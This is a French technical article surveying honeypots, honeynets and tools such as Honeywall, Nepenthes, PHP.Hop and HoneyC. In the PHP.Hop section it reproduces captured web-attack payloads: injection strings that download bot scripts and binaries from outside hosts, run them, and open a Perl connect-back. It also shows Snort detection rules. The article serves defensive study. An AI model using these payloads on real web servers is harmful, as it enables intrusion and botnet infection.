1 – Introduction aux Honeypots

Personne ne sait vraiment où sont les Honeypots, éparpillés sur Internet. Ils traquent les menaces informatisées passées, actuelles et futurs. Menaces d’ordre personnel, national, continental, mondial, extra-terrestre. Tel est le destin du honeypot, sauver le monde. Le honeypot se cache de moins en moins. Eeye, une entreprise très branché sécurité, a compris le filon. Depuis quelques semaines, ils proposent le téléchargement gratuit en version d’évaluation de leur produit Blink 2.0, dans le but de construire le plus grand honeynet du monde. Les personnes téléchargent le logiciel et les codes malicieux seront automatiquement remontés à Eeye pour analyse. Vous aiderez donc à contrer les menaces provenant des réseaux informatiques. Il est temps d’arrêter la chasse (projet SETI) aux extra-terrestres (plutôt has been !), faire une bonne action et paraître hype devant vos proches en leur expliquant que préservez la planète des menaces informatiques auxquelles elle est, et sera exposée.

1.1 – Définition d’un honeypot

Un honeypot (pot de miel) est une entité logicielle ou matérielle imitant le fonctionnement d’un programme informatique qu’il soit implémenté de manière logiciel ou reproduit le fonctionnement d’une machine physique.

1.2 – Définition d’un honeynet

C’est un réseau de honeypots. Plusieurs types de honeypots peuvent être regroupés au sein d’un honeynet. La taille d’un honeynet n’est pas limitée. On peut très bien imaginer un honeynet déployé sur quelques mètres comme par exemple, un honeypot bluetooth (projet BluePot de trifinite, pas encore disponible publiquement) imitant des téléphones J2ME vulnérables ou bien un honeynet à l’échelle mondiale, entre plusieurs universités ou plusieurs chercheurs dans le monde corrélant les informations reçues par leurs honeypots respectifs déployés localement. Ou alors, soyons visionnaire et parano, pourquoi pas un honeynet full-mesh de centrales nucléaires chinoises pour le prochain demi-siècle.

2 – Le rôle d’un honeypot

2.1 – Recherche

Un honeypot ou honeynet est un élément indispensable dans la détection et l’analyse des nouvelles menaces rôdant sur les réseaux informatisés. La veille INFOSEC est réalisée et suivie automatiquement grâce à l’analyse des données reçues par les différents honeynets installés dans le monde. Les principaux intéressés par cette technologie sont les éditeurs d’antivirus, les CERT, les R&D (exploits 0-DAY pour des tests comportementales de solutions NIPS/HIPS), les éditeurs de solutions IDS/IPS (Cisco, Checkpoint, SourceFire, ISS, Enterasys, Symantec, Mcafee, …). Les chercheurs professionnels ou bénévoles déploient généralement des honeynets chez leurs employeurs ou à leur domicile. On les trouve très souvent en milieu universitaires (chercheurs/orateurs en sécurité), dans des entreprises IT où la dominante sécurité est forte, accentuée par la présence de « security geeks », ou dans les entreprises/écoles (message subliminal) souhaitant s’offrir une opération de marketing viral.

2.2 – Production

Ces derniers temps, dans les discussions du projet honeynet, il y a souvent le mot-clé « centralisation de logs ». Effectivement, comme on peut le voir dans les dernières versions de nepenthes, la possibilité d’envoyer des payloads capturés par ce logiciel est mise en évidence face à l’intérêt suscité par le monde de l’INFOSEC, en particulier les éditeurs d’antivirus.

Nepenthes a la capacité d’envoyer automatiquement des malwares potentiels à analyse sur la sandbox norman (sandbox.norman.no).

3 – Les menaces

3.1 – Vers

Les menaces sont à présent reconnaissables, je cite, les vers (worms, ayant pour cible une multitude de machines) et implicitement, vient les botnets et le phishing. Les botnets sont dans la majorité des cas, la résultante d’infection de vers et manipulé par une personne malintentionnée, qu’ils soient rémunérés ou non par une quelconque entreprise.

Pour qu’une propagation de ver soit réussie, le ver doit utiliser une faille encore non-dévoilée (0day). Les solutions de sécurité étant encore inefficaces face aux menaces inconnues, à l’heure actuelle, un ver a largement le temps de se déployer sur des milliers de machines avant que les différents honeynets (qui sont beaucoup moins en nombre que de machines réelles) s’activent et détectent le ver. Pendant ce laps de temps, le monde de l’Internet peut donc espérer que le « problème » soit remonté le plus rapidement possible aux oreilles des éditeurs d’antivirus/détection d’intrusion pour déployer une mise à jour de leur base de signatures.

On se souvient d’exemples très connus tels le ver blaster, touchant la planète en 2003. Le ver s’est propagé en utilisant une vulnérabilité du paradigme RPC au sein des différents systèmes Microsoft (MS03-026), sasser, welchia, slammer ou plus récemment le ver Mocbot/Wargbot qui utilise la faille MS06-040.

3.2 – Botnets

Les nouveaux botnets sont développés pour communiquer via HTTPS (remplaçant les protocoles de chat IRC/WASTE). Les conséquences de ce remplacement viennent simplement du fait que les possesseurs de honeypots voyaient passer en clair les accès au chan IRC pour manipuler le botnet. Si vous cherchez un peu, vous pourrez trouver des botnets sur différents serveurs IRC, notamment EFNET. Un des botnets que j’ai pu trouver s’était installé sur le channel #hkcd. Typiquement vous voyez pleins de pseudonymes identiques, seul un numéro identifiant la machine infectée est changé. Et vous pouvez entrer une commande si vous en avez les droits, dans le cas contraire, en l’occurrence, les bots de #hkcd, renvoient un message de type « fcuk off ». Les botnets sont utilisés pour plusieurs activités : les attaques DDoS, le spam, phishing, sniffer, keylogging, cliquer à l’insu de l’utilisateur sur des bannières de pub (via les BHO) ou s’ajouter des hits sur Google adsense.

Prenons les attaques DDoS, celles-ci peuvent être mitigées de nos jours via des technologies évolués tels que Cisco guard XT/Traffic Anomaly Detector XT/Arbor Networks Peakflow/ISS Proventia/Riverhead/Prolexic/Citrix Netscaler. 

Par contre, les attaques de type phishing sont communes depuis quelques années et pour au moins plusieurs années futures, une prévention via les différents médias était nécessaire. Pour avoir des machines, les botnets « phishers » passent toujours par une faille de sécurité, utilisation de mass-scanner et d’autorooter pour infecter la machine. Pendant l’infection, le programme vérifie que la machine dispose d’un serveur web pour y déposer des scripts PHP mais s’assure aussi qu’on daemon d’envoi de mail est disponible.

Pendant un certain temps, vous avez du recevoir des mails provenant d’africains qui souhaitaient faire des transferts de fonds sur votre compte en vous faisant profiter d’une somme contenant plusieurs zéros. Ce type de message est un message de type phishing. 

Globalement, nous pouvons affirmer que les honeynets sont très bon dans la détection de menaces lancés automatiquement par des personnes malintentionnées. A contrario, si la personne attaquant la machine n’est pas un bot mais une personne réelle et bien vivante, elle s’apercevra très rapidement de la supercherie.

4 – Classification des honeypots

Plusieurs familles de honeypots existent : les honeypots à faible interaction, haute interaction, serveurs honeypots et clients honeypots.

4.1 – Faible-interaction

Un honeypot à faible interaction ne simule qu’une partie applicative sur une machine physique ou virtuelle, par exemple une pile TCP/IP (honeyd), des services réseaux (BackOfficer Friendly, Specter).
Un honeypot à haute interaction simule un système d’exploitation complet ainsi que les applicatifs souhaitant être soumis aux pirates de passage. C’est d’ailleurs très souvent une machine physique ou virtuelle qui est utilisée. Celle-ci peut être encore segmentée en plusieurs espaces avec les jails sous FreeBSD, Xen sous NetBSD ou UML sous Linux. EN produit commercial, mantrap se base sur un système d’exploitation hôte (Sun Solaris) et crée 4 cages virtuelles.

4.2 – Haute-interaction

Il faut prendre conscience qu’un honeypot à haute-interaction peut être compromis entièrement et finalement l’administrateur des honeypots n’aurait plus vraiment de solutions que de réinstaller la machine. Un honeypot à faible-interaction ne se fera pas rooter par un service réseau émulé (en excluant la possibilité que la machine hôte possède une faille inconnue de l’administrateur du honeypot). Ce type de honeypots est un bon compromis pour ne pas prendre trop de risques mais tout de même capturer un début d’activités de vers/botnets automatisées déjà connus. Plus le honeypot à faible interaction sera évolué et pourra répondre aux exigences du botnet/hacker, plus le nombre de données utiles capturées sera grand. 

Pour capturer des activités non connus, un honeypot à forte interaction devient indispensable.

Le système est exactement le même qu’un système en production sauf qu’il ne l’est pas.

IL est possible de simuler des données d’entreprise sur le honeypot pour noyer l’attaque humaine ou alors, si l’attaque est automatisée, installez les packages pouvant être utiles comme wget ou des services troués comme des versions wu-ftpd compatible avec le wu autorooter. Par contre, il serait fou de mettre en exploitation une honeypot à forte-interaction sans avoir pris énormément de précaution et à avoir penser tout les scénarios possibles afin de connaître le résultat de chaque action via l’écriture de fiches d’exploitation en cas de compromission « non prévue », logs fonctionnels et décentralisés, de cacher le plus d’activités au pirate (modules noyau difficilement détectables) et donc d’éviter de réinstaller la machine tous les 2 jours. L’installation d’IDS/Firewall est quasiment indispensable afin d’éviter ces désagréments. La détection d’activité anormale sur le honeypot peut être prématurément signalée par un IDS qui vous avertira par SMS ou dans les logs, la présence de paquets suspicieux et, si la session ouverte devient vraiment douteuse, rien ne vous empêche de fermer les flux sur le firewall. TCP gérant les états, vous pouvez aussi laisser croire temporairement que la session est toujours ouverte mais refuser les connexions suivantes. La gestion du stateful est disponible sur quasiment toutes les solutions de pare-feux. En Cisco, le mot-clé à utiliser dans vos access-lists est ESTABLISHED.

4.3 – Honeypot client

Récemment, Christian Seifert (Honeynet New-Zealand) a publié un outil en ruby très intéressant. HoneyC de son nom, permet non pas d’attendre passivement les requêtes des botnets mais HoneyC via le moteur de recherche Yahoo ! envoi des requêtes http afin de détecter des URLs hébergeant des malwares (notion de client honeypot). On note l’initiative stopbadware.org dont Google fait parti qui a recensé, à l’écriture de cet article, 405 Urls dangereuses. Si vous ouvrez une de ces URLs après une requête de recherche sur Google, alors vous serez redirigé vers un message d’avertissement indiquant que l’URL contient un malware.

J’ai émis à Christian les idées suivantes : centralisation des URLs entre les différentes instances de HoneyC (mise en commun mondial) mais aussi ajouter les URLs à la configuration du proxy SQUID voir le pare-feu NETFILTER/IPTABLES.
Il faut savoir que des clients honeypots existent depuis 2004, mais ceux-ci sont beaucoup moins performants que celui de Christian du fait qu’ils utilisent un vrai navigateur web (Internet Explorer) pour lancer les requêtes HTTP. Je cite, HoneyMonkey (Microsoft) et Honeyclient.

5 – Les honeypots en vogue

Ci-après, la présentation de plusieurs honeypots. ROO Honeywall est un honeypot à forte-interaction de 3ième génération. Nepenthes collecte les malwares en se basant sur des hashs MD5.Php.Hop est un honeypot à faible-interaction simulant des failles web applicatives. HoneyC est un client honeypot écrit en ruby.

5.1 – ROO Honeywall

Honeywall est un honeypot de 3ième génération.
Un honeynet GenIII est composé de machines physiques spécialement déployés avec des failles de sécurité ou non selon la difficulté d’intrusion souhaitée par le responsable du honeynet.

Une machine basée sur la distribution HoneyWall fait office de pont niveau 2 entre le honeynet et le reste du réseau de production. Honeywall est une surcouche logicielle à une distribution Fedora Core 3 pré-sécurisée.

Honeywall collecte les données, analyse et enregistre les communications réseaux jugées anormales. Pour ce faire, Honeywall contient les éléments suivants :

• Librairie de capture de trames réseaux (libpcap)
• Un logiciel de détection/prévention d’intrusions réseaux (Snort Inline)
• Un outil de capture et analyse des flux applicatifs (Sebek)
• Un outil d’analyse de netflow (Argus)
• Un outil de détection de prise d’empreinte passif (p0f)
• Un outil de fusion des données (Hflow)

Capture des données provenant du réseau :

Plusieurs logiciels sont utilisés pour réaliser la capture des données.
Argus et p0f interviennent pour la capture de paquets réseaux.
Sebek intervient pour faire le lien entre une communication réseau et un processus applicatif.
Les honeynets GenII se basaient sur le pare-feu IPTables pour récupérer des informations sur les flux réseaux. Hélas, la solution est devenue vite limitée par un manque d’informations collectées sur les communications réseaux.
Pour pallier à ce problème, les GenIII implémentent l’outil Argus qui se révèle plus puissant dans le rapatriement d’informations sur les échanges de données par le réseau.
Argus permet de connaître l’heure de début et de fin d’une connexion, le nombre d’octets et le nombre de paquets transmis dans chaque direction (cas d’une connexion TCP bidirectionnelle).
Snort Inline permet de faire la détection/prévention d’intrusions.
A la base, c’est un correctif conçu pour Snort. Initialement appelé Hogwash, l’arborescence du code à été fusionnée avec le projet Snort.
Plusieurs méthodes de détection d’intrusions peuvent être mises en place.
La détection de signatures, la détection d’anomalie ou la vérification d’intégrité.
La spécificité de Snort Inline est d’exploiter les fonctionnalités de décodage et réassemblage des paquets, tels que les préprocesseurs de flux, afin de réaliser de la prévention.
Pour que Snort Inline fasse de la prévention, une règle IPtables doit être appelée et correspondre. Seul pré-requis de Snort Inline (Honeywall n’a pas cette contrainte), les paquets analysés doivent traverser le pare-feu IPtables qui correspond au pont honeywall dans une architecture GenIII.
P0f est utilisé pour découvrir le système d’exploitation de la machine du pirate et celle attaquée.
P0f analyse les options de TCP pour garantir avec plus ou moins de fiabilité le système d’exploitation utilisé.
Par exemple, des paquets lançant un exploit apache Linux sur une machine Microsoft IIS n’auront pas la même valeur que si l’exploit est lancé vers un apache sous Linux.
Sebek permet d’associer un flux réseau à une application.
Il enregistre le nom et l’adresse IP de machine hôte, le nom du processus, le numéro d’inode et le descripteur de fichier.
Par exemple, dans le cas d’une activité de keylogging, nous pouvons savoir qu’elle application a été keyloggé.
Pour que Sebek soit opérationnel, chaque honeypot doit avoir installé le client Sebek.
On note que le client Sebek est un module noyau et qu’il est caché lors d’un lsmod.

La fusion des données capturées

Les données récupérées par les outils de collection sont injectés dans le script Perl Hflow.
Hflow enregistre chacune des données rapatriées dans une base de données.
Voici le schéma modélisant les opérations depuis la capture des trames jusqu’au stockage dans la base de données :

Certaines données provenant de sources différentes sont corrélés lors de l’exécution de Hflow.
Les sources de données Snort et Argus sont fusionnés si les données utilisent le même numéro de protocole de niveau 3 (IP, EGP, …) et si les sockets (Adresse IP source/destination, Port source/destination) correspondent pendant le même intervalle de temps.

Quant à Sebek, Hflow organise les données qu’il reçoit en fonction des numéros des processus attaqués.
Le client Sebek envoie ses données au serveur Sebek au moyen d’un canal UDP.

Utilisation de ROO Honeywall

Il est nécessaire d’avoir 2 cartes réseaux dans la machine. Une troisième carte réseau, optionnelle sert d’interface de management via SSH / HTTPS.
Concernant l’espace disque utilisé voici le découpage automatique effectué sur un disque dur de 4go :

/dev/hda1 342M 99M 226M 31% /
none 141M 0 141M 0% /dev/shm
/dev/hda5 342M 11M 315M 4% /home
/dev/hda8 46M 4.9M 39M 12% /hw
/dev/hda7 244M 6.1M 225M 3% /tmp
/dev/hda2 981M 417M 514M 45% /usr
/dev/hda6 342M 11M 314M 4% /usr/local
/dev/hda9 1.3G 100M 1.1G 9% /var

Honeywall se configure via une interface dialog appelé par la commande « menu » ou par l’interface web WALLEYE.

Interface Dialog :

Interface Walleye :

Voici un exemple de statistiques disponibles via Walleye :

Il faut savoir que quasiment tous les champs de texte sont cliquables et amènent vers d’autres statistiques.
En plus des informations concernant la sonde (Date d’installation, nom de la sonde, date de la dernière activité), un résumé de toutes les activités sont disponibles et classés par hôte ou par numéro de ports.

5.2 – Nepenthes

Nepenthes est un honeypot à faible-interaction. Il sait capturer les malwares sur plateformes Microsoft en simulant une machine Windows.
Nepenthes détecte une attaque réseau, l’enregistre, en fait un hash permettant de l’identifier par la suite et selon votre choix, envoyer le malware ou non à la sandbox norman.
Nepenthes peut être vue comme une alternative à SNORT puisque Nepenthes peut très bien détecter des flux inhabituels malicieux comparés à un SNORT paramétré en mode de détection d’anomalies.
Après avoir compilé Nepenthes, démarrez le binaire /opt/nepenthes/bin/nepenthes
Celui-ci simule plusieurs services, les services SMB, SMTP, HTTPS, IMAP2, IMAP3, SSMTP, IMAPS, POP3S, FTP, HTTPS, KERBEROS, MS-SQL, DNS, WEBMIN, …

Enregistrement d’une chaîne de caractères dans une requête FTP :

labo-cisco:/opt/nepenthes/var/hexdumps# hexdump -c *.bin -n 100 
0000000 U S E R f r a n c o i s . r o
0000010 p e r t \r \n A U T H K E R B E
0000020 R O S _ V 4 \r \n P A S S h o n
0000030 e y n e t - p r o j e c t \r \n S
0000040 Y S T \r \n A U T H G S S A P I
0000050 \r \n Q U I T \r \n 
0000058

Enregistrement d’un bot se connectant à IRC :

[ Network services ]
* Looks for an Internet connection.
* Connects to xxx.example.net on port 6543 (TCP).
* Sends data stream (24 bytes) to remote address xxx.example.net, port 6543.
* Connects to IRC Server. 
* IRC: Uses nickname xxx.
* IRC: Uses username xxx.
* IRC: Joins channel #xxx with password xxx.
* IRC: Sets the usermode for user xxx to ...

On note que certains services enregistrent chaque ligne entrée dans un hexdump différent alors que d’autres services attendent la fin de la connexion ou un timeout TCP pour enregistrer l’hexdump.

Au lieu d’utiliser les commandes UNIX, des snippets sont disponibles sur le site de Nepenthes.
Mwcollect-dump (script PERL remplaçant hexdump)
Mkpcre (Génère une expression régulière PCRE en fonction d’un payload)
Mkarray (Génère un tableau en C en fonction d’un payload -similaire à l’option de wireshark pour ceux qui voient ce dont je parle et permet de créer un fihcier .c contenant un shellcode)
Bdiffm (Comparaison de fichiers binaires et retourne un tableau statistiques de similitudes en pourcentage)

Nepenthes sait analyser des payloads contenant des shellcodes (reverse shellcodes) afin de rendre plus interactif le dialogue entre nepenthes et le bot/hacker. Au programme, shellcodes de type connectback, binshell, cmdshell, urldownload, filetransfer.
A noter que les options de téléchargement sont actives et les fichiers distants du malware seront récupérés si le malware en fait la demande (simulation des protocoles FTP et TFTP).
Si l’une de vos machines nepenthes détecte un payload intéressant (dans le répertoire hexdumps), il est possible de le diffuser sur les autres machines nepenthes via la commande UNIX rsync.
Le projet malware collect (initiateurs du projet Nepenthes) commence à obtenir pas mal de nouveaux shellcodes dans leurs payloads. C’est pour cela qu’ils viennent de créer la convention CSNI (Common Shellcode Naming Initiative) qui nomme les shellcodes selon leur utilité. Des noms de villes de l’ouest allemand sont actuellement empruntés.

Les hexdumps peuvent être soumis à analyse dans la sandbox norman ou stockés sur un point de montage, dans une base de données postgresql ou un serveur GOTEK (Malware Distribution Protocol)

Les fichiers de configuration situés dans /opt/nepenthes/etc sont les suivants :

download-csend.conf submit-file.conf vuln-mydoom.conf 
download-curl.conf submit-gotek.conf vuln-netbiosname.conf
download-ftp.conf submit-norman.conf vuln-netdde.conf 
download-link.conf vuln-asn1.conf vuln-optix.conf 
download-tftp.conf vuln-bagle.conf vuln-pnp.conf 
log-download.conf vuln-dameware.conf vuln-sasserftpd.conf 
log-irc.conf vuln-dcom.conf vuln-ssh.conf 
log-prelude.conf vuln-ftpd.conf vuln-sub7.conf 
log-surfnet.conf vuln-iis.conf vuln-upnp.conf 
module-honeytrap.conf vuln-kuang2.conf vuln-veritas.conf 
module-portwatch.conf vuln-lsass.conf vuln-wins.conf 
nepenthes.conf vuln-msdtc.conf x-2.conf 
nepenthes.conf.dist vuln-msmq.conf 
shellcode-generic.conf vuln-mssql.conf

Chaque module peut être activé dans le fichier nepenthes.conf. Ensuite, il faut paramétrer chacun des fichiers de configuration utilisés. Pratique, si vous avez un DynDNS pour les transferts de fichiers (download handlers), si vous souhaiter modifier les numéros de ports pour le vulnerabilities handler ou modifier les chemins pour les submit handlers (submit-file, submit-gotek, submit-norman).

5.3 – PhP.Hop

PHP.Hop (web-deception based framework) est un honeypot à faible-interaction capturant des flux web malicieux.
Il est déployable sur tout serveur web ayant le module PHP activé.
Plusieurs modules existent. Ils imitent des webapps possédant des failles déjà divulgués par la communauté ou des modules de capture développés spécialement pour le projet et capturer un certain type de trafic web :

• Horde
• PhpMyAdmin
• Google hacks
• Déjoue les scanners de vulnérabilités comme nikto
• Phpshell
• Autobuild fake apache dir
• HipHop (manipulations de code erreurs 404)

Les données recueillies par PHP.Hop sont enregistrables sous forme de fichiers texte, dans une base de données MySQL ou par e-mail.

Outre les modules simulant des services applicatifs non sécurisés, le module HipHop pouvant reporter les logs les plus intéressants.

Le module HipHop

Ce module a une double utilité : Gestion des erreurs 404. L’utilité est de capturer de nouveaux payloads lancés automatiquement par des worms ou programmes autohack 0day. La seconde utilité est de perturber les scanners de vulnérabilités comme nikto ou nessus en leur renvoyant de fausses informations.
Pour déployer ce module, il suffit de créer un fichier .htaccess et de rediriger les codes 404 sur le fichier hiphop.php

Voici un exemple de payload généré à partir de commandes UNIX qui sera capturé par le module HipHop :

wget -O /tmp/test1.log http : // 192.168.0.11 /hop/doesntexist.php? configdir=cd%20/tmp;wget%20192.168.1.69/cbac;chmod%20744%20cbac

wget -O /tmp/test2.log http: // 192.168.0.11 /hop/doesntexist.php?configdir=%7cecho%20%3becho%20b_exp% 3bwget%20http%3a%2f%2f192%2e168%2e26%2e26%2flibsh%2fping%2etxt%3bmv%20ping%2etxt%20temp 2006%3bperl%20temp2006%20210%2e245%2e233%2e251%208080%3bwget%20http%3a%2f%2f192%2e168 %2e26%2e26%2flibsh%2fping%3bchmod%20%2bx%20ping%3b%2e%2fping%20210%2e245%2e233%2e251% 208080%3bcurl%20%2do%20ping%20http%3a%2f%2f192%2e168%2e26%2e26%2flibsh%2fping%3bchmod%20 %2bx%20ping%3b%2e%2fping%20210%2e245%2e233%2e251%208080%3bcd%20%2ftmp%2f%3bcurl%20%2 do%20temp2006%20http%3a%2f%2f192%2e168%2e26%2e26%2flibsh%2fping%2etxt%3bwhile%20%5b%201 %20%5d%3bdo%20perl%20temp2006%20210%2e245%2e233%2e251%208080%3bdone%3bwget%20http%3a %2f%2f192%2e168%2e26%2e26%2flibsh%2fping%3bchmod%20%2bx%20ping%3b%2e%2fping%20210%2e24 5%2e233%2e251%208080%3bcurl%20%2do%20ping%20http%3a%2f%2f192%2e168%2e26%2e26%2flibsh%2 fping%3bchmod%20%2bx%20ping%3b%2e%2fping%20210%2e245%2e233%2e251%208080%3becho%20e_ex p%3b%2500
wget -O /tmp/test3.log http: // 192.168.0.11 /hop/doesntexist.php? include=http: // www.members.example.uk/ kaero/fbi.gif?& cmd=cd%20/tmp;curl%20-O%20www.members.example.uk /kaero/botperl;perl%20botperl
wget -O /tmp/test4.log "http: // 192.168.0.11 /hop /doesntexist.php?_REQUEST[option]=com_content&_REQUEST[Itemid] =1&GLOBALS=&mosConfig_absolute_path= http: // 192.168.26.111 /cmd.gif?&cmd=cd%20/tmp;wget%20192.168.40.113/ listen;chmod%20744%20listen;./listen;echo%20YYY ;echo|

Ce honeypot est actuellement en cours de développement par Laurent Oudot et moi-même.
Une architecture centralisée est prévu ainsi qu’une console d’aperçu des logs entre autres.

5.4 – HoneyC

Le but de HoneyC est d’identifier des serveurs webs proposant, généralement à l’insu des visiteurs, un code malicieux de type malware. On emploie ici le terme malware pour globaliser toutes les formes de codes pouvant être distribué. Contrairement à ces prédecesseurs, HoneyMonkey et HoneyClient qui sont des honeypots à forte-interaction, HoneyC est à faible interaction. Si on prend HoneyMonkey en exemple, celui-ci demande l’installation d’une machine basée sur Windows XP et un navigateur type Internet Explorer.

HoneyC est composé de scripts en RUBY et lecture de la configuration via des fichiers XML. Il est beaucoup plus rapide que les honeypots à forte interaction cités plus haut.

Un serveur web sera jugé dangereux s’il correspond aux règles du logiciel SNORT pré-intégrés à l’archive de HoneyC.
Christian Seifert, l’auteur de HoneyC a publié son travail.

Comment ça fonctionne :

Les trois composants du programme sont le visitor, le queuer et l’analysis engine.
Le queuer stocke des URLs à vérifier (paramétrables dans un fichier XML relatant une commande de recherche sur le moteur Yahoo !)
Le visitor télécharge les pages du queuer via l’outil UNIX wget et simule un navigateur Internet Explorer (via la variable UserAgent).
L’analysis engine compare les messages de réponses avec les signatures SNORT bleeding-malware.rules et des règles personnalisées. 
Les futurs malwares trouvés à l’aide de Honeyc auront le SID supérieur ou égal à 3400000.

Fichier de configuration principal – HoneyCConfigurationExample.xml :

<honeyCConfiguration xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="HoneyCConfiguration_v1_0.xsd">
<queuer>ruby -s queuer/YahooSearch.rb -c=queuer/YahooSearchConfigurationExample.xml</queuer> 
<visitor>ruby -s visitor/WebBrowser.rb -c=visitor/WebBrowserConfigurationExample.xml</visitor> 
<analysisEngine>ruby -s analysisEngine/SnortRulesAnalysisEngine.rb -c=analysisEngine/SnortRulesAnalysisEngineConfigurationExample.xml</analysisEngine> 
</honeyCConfiguration>

Exemples de règles SNORT détectées par HoneyC :

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "BLEEDING-EDGE EXPLOT Blahot Worm Infection Reporting in"; flow: to_server,established; uricontent:
/scr2/command.php?IP="; nocase; uricontent:"Port1="; nocase; classtype: trojan-ctivity; reference:url,www.vitalsecurity.org/2005/01/malware-spam.html; referene:url,www.blahot.com; sid: 2001667; rev:7; ) 
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "BLEEDING-EDGE EXPLOT Blahot Worm Infection Reporting in (to blahot.com)"; flow: to_server,establised; uricontent:"/scr2/command.php?IP="; nocase; uricontent:"Port1="; nocase; cotent:"Host\: www.blahot.com"; nocase; classtype: trojan-activity; reference:url www.vitalsecurity.org/2005/01/malware-spam.html; reference:url,www.blahot.com; id: 2001671; rev:7; )
alert tcp any any <> any any (msg: "example rule: long number found"; reference url,http: // rule1.com; sid:1000001; rev:1; classtype:trojan-activity; pcre:"/[0-][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]/"; )

Attention, tout de même, une règle telle que celle-ci pourrait être déclarée par HoneyC comme un faux-positif :

#Submitted by Cody Hatch alert tcp any any -> $HOME_NET $HTTP_PORTS (msg: "BLEEDING-EDGE EXPLOIT Cisco IS HTTP server DoS"; flow: to_server,established; uricontent:"/TEST?/"; classtyp: attempted-dos; sid: 2000013; rev:6; )

Poussons dans le vice, nous avons parlé précédemment de PHP.Hop, si PHP.Hop simule ces signatures SNORT, un jour, pourquoi pas ;), HoneyC pourrait alors détecter un faux-positif sur des serveurs PHP.Hop.

6 – Conclusion

Il y a quelques semaines, une personne (à fortiori, ayant peu de connaissances sur les botnets) proposait au projet honeynet de réaliser une virtual appliance (image vmware) des outils en rapport aux honeynets mais attention, si on prend l’exemple du botnet agobot, ce dernier est capable de détecter que la machine est virtuelle (vmware/virtualpc) donc, au final, la machine ne sera pas infectée. Les virtual appliances sont très bien pour s’initier aux honeypots mais peu modulables pour une utilisation sérieuse et appliquée. Deux projets proposant des images virtuelles sont connus pour l’instant : honeystick et HoneyDVD (Image de 8Go).

Pour les aspects juridiques, j’ai choisi de ne pas créer de rubrique dédiée à la législation française. Néanmoins, je vous invite à lire le slide de Marie BAREL.

Ce slide traite les honeypots serveurs, tous niveaux d’interaction confondus avec le hacker. Par contre, à l’époque, seuls les serveurs honeypots étaient connus. Après avoir lu cet article technique et le slide de Marie, je vous laisse réflexion sur l’utilisation des clients honeypots.

Le projet Honeynet dont je fais parti a pour but d’analyser les nouvelles méthodes utilisées par des personnes souhaitant outrepasser un système d’information qui se repose entièrement ou en partie sur un logiciel ou matériel pouvant présenter des failles de sécurité connues ou encore inconnus ou bien, prendre part à la vie privée des utilisateurs de réseaux d’entreprise ou d’Internet pour en tirer un profit personnel.
Cet article fait un état de l’art sur le sujet des honeypots.

7 – Les vidéos

• 7.1 - What is a DDoS attack ?

  Cette video en anglais vous présente ce qu'est une attaque DDOS (Distributed Denial Of Service). It is difficult for a single site to generate enough traffic to launch an effective denial of service (DoS) attack. Large spikes in traffic are also easy for sites to detect and defend against. So instead of using a single attacking node, denial of service attacks are often launched by a bunch of computers acting together. This is referred to as a distributed denial of service (DDoS) attack. Because attackers do not usually have legitimate access to a sufficient number of machines to launch a DDoS, frequently groups of hacked machines referred to as botnets are used.

• 7.2 - CyberTrap the next generation interactive Honeynet

  CyberTrap is a brand new technology to fight off targeted Cyber attacks against your organization!

  

• 7.3 - Breaking Honeypots for fun and profit

  We will detect, bypass, and abuse honeypot technologies and solutions, turning them against the defender. We will also release a global map of honeypot deployments, honeypot detection vulnerabilities, and supporting code.

  

• 7.4 - Building Honeypots to monitor DDoS

  This talk will outline how to use DDoS vulnerable services to develop a honeypot network that will extract valuable information from the Internet and produce a data feed that can be used to protect online assets with Kibana, Elasticsearch, Logstash, and AMQP. The speaker will open-source a monitoring system (a project his team has been developing for the last two years) for reflective DDoS statistics that are external to any specific network.

  

• 7.5 - Building a better Honeypot Network

  Honeypots and honeypot networks help security researchers to get a good look at different attacker techniques across a variety of systems. This information can be used to better protect our systems and networks, but it takes a lot of work to sift through the data. Installing a network of honeypots to provide useful information should be an easy task, but there just isn't much to tie everything together in a useful manner. In this presentation, I will demonstrate how I modify and use existing honeypot frameworks and applications with personal tools and techniques to process attack-related data, to automate analysis and create actionable intelligence. All the code and instructions I use will be made available for others to work with.

  

• 7.6 - A practical guide to deploying Honeynets

  When honeypots are given the proper attention, care and feeding, they produce invaluable information. This intelligence has been primarily used by security researchers and organizations with advanced defensive capabilities to study their adversaries and learn from their actions. But what about the rest of us? Honeypots are a lot of work to configure, maintain, and monitor -- how can an organization that is not focused on research gain valuable intelligence using honeypots and actively defend their network using the data obtained? The answer is honeypots for active defense. There are currently many open source security tool distributions that come pre-loaded with honeypots among other useful tools, however the honeypot software is often not deployed in an effective manner. This session will discuss techniques to deploy honeypots in ways that will not overburden the security team with massive logs to sift through and focuses on correlating active threat data observed in the honeypot with the production environment. When deploying honeypots effectively, this can give security analysts one additional mechanism to tip them off to nefarious activity within their network.

  

• 7.7 - Honeypot Deployment

  Cette vidéo en anglais vous présente comment déployer vos HoneyPots.

  

• 7.8 - What is Botnet ?

  Cette vidéo en anglais vous présente de manière très ludique ce qu'est un Botnet. Botnet is becoming a big problem on the Internet. Learn how to protect yourself and family against botnet and other malicious software.

  

• 7.9 - Les Malwares

  Cette vidéo présente qu'est-ce qu'un malware et les méthodes pour s'en protéger.

  

• 7.10 - IDS, IPS et HIDS expliqués en dessins

  Cette vidéo vous présente en dessins les bases et les términologies de l'IDS (Intrusion Detection System), IPS (Ontrusion Prevention System)et HIDS (Système de détection d'intrusion machine).

  

• 7.11 - Le phishing

  Cette vidéo vous présente ce qu'est le Phising afin de comprendre ce type d'arnaque.

  

8 – Suivi du document

Création et suivi de la documentation par François ROPERT et _SebF

9 – Discussion autour de la protection par HoneyPots

Vous pouvez poser toutes vos questions, faire part de vos remarques et partager vos expériences à propos de la protection par HoneyPots. Pour cela, n’hésitez pas à laisser un commentaire ci-dessous :